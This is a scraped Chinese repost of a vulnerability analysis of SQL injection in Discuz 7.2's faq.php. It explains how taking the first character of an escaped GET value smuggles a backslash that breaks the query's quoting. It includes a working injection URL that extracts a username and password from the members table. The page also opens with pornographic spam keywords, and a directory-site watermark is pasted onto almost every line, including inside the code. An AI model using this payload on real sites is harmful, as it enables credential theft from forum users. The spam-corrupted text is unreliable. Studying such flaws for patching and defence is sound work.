国产欧美二区三区-国产欧美高清-国产欧美国产精品第二区-国产欧美国产精品第一区-小说区 图片区-小说区 综合区 都市激情

當前位置: 首頁 > 站長資訊 > 正文頁面

Discuz7.2版的faq.php SQL注入漏洞分析

這篇文章主要介紹了Discuz7.2版的faq.php SQL注入漏洞分析,包含注入代碼和源碼分析,需要的朋友可以參考下KuS網站目錄_網站網址收錄與提交入口

注入代碼實例:KuS網站目錄_網站網址收錄與提交入口

http://www.xxx.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23KuS網站目錄_網站網址收錄與提交入口

漏洞分析: by phithonKuS網站目錄_網站網址收錄與提交入口

($action == 'grouppermission') {KuS網站目錄_網站網址收錄與提交入口

...KuS網站目錄_網站網址收錄與提交入口

ksort($gids);KuS網站目錄_網站網址收錄與提交入口

$groupids = array();KuS網站目錄_網站網址收錄與提交入口

foreach($gids as $row) {KuS網站目錄_網站網址收錄與提交入口

$groupids[] = $row[0];KuS網站目錄_網站網址收錄與提交入口

}KuS網站目錄_網站網址收錄與提交入口

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");KuS網站目錄_網站網址收錄與提交入口

...KuS網站目錄_網站網址收錄與提交入口

}KuS網站目錄_網站網址收錄與提交入口

function implodeids($array) {KuS網站目錄_網站網址收錄與提交入口

if(!empty($array)) {KuS網站目錄_網站網址收錄與提交入口

return "'".implode("','", is_array($array) ? $array : array($array))."'";KuS網站目錄_網站網址收錄與提交入口

} else {KuS網站目錄_網站網址收錄與提交入口

return '';KuS網站目錄_網站網址收錄與提交入口

}KuS網站目錄_網站網址收錄與提交入口

}KuS網站目錄_網站網址收錄與提交入口

首先定義一個數組groupids,然后遍歷$gids(這也是個數組,就是$_GET[gids]),將數組中的所有值的第一位取出來放在groupids中。KuS網站目錄_網站網址收錄與提交入口

為什么這個操作就造成了注入?KuS網站目錄_網站網址收錄與提交入口

discuz在全局會對GET數組進行addslashes轉義,也就是說會將'轉義成/',所以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=/',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是/,把轉義符號取出來了。KuS網站目錄_網站網址收錄與提交入口

再看后面,在將數據放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數KuS網站目錄_網站網址收錄與提交入口

很簡單一個函數,就是將剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。KuS網站目錄_網站網址收錄與提交入口

但是我們的數組剛取出來一個轉義符,它會將這里一個正常的'轉義掉,比如這樣:KuS網站目錄_網站網址收錄與提交入口

'1','/','3','4'KuS網站目錄_網站網址收錄與提交入口

有沒有看出有點不同,第4個單引號被轉義了,也就是說第5個單引號和第3個單引號閉合。KuS網站目錄_網站網址收錄與提交入口

 KuS網站目錄_網站網址收錄與提交入口

  

此文由 網站目錄_網站網址收錄與提交入口 編輯,未經允許不得轉載!:

相關文章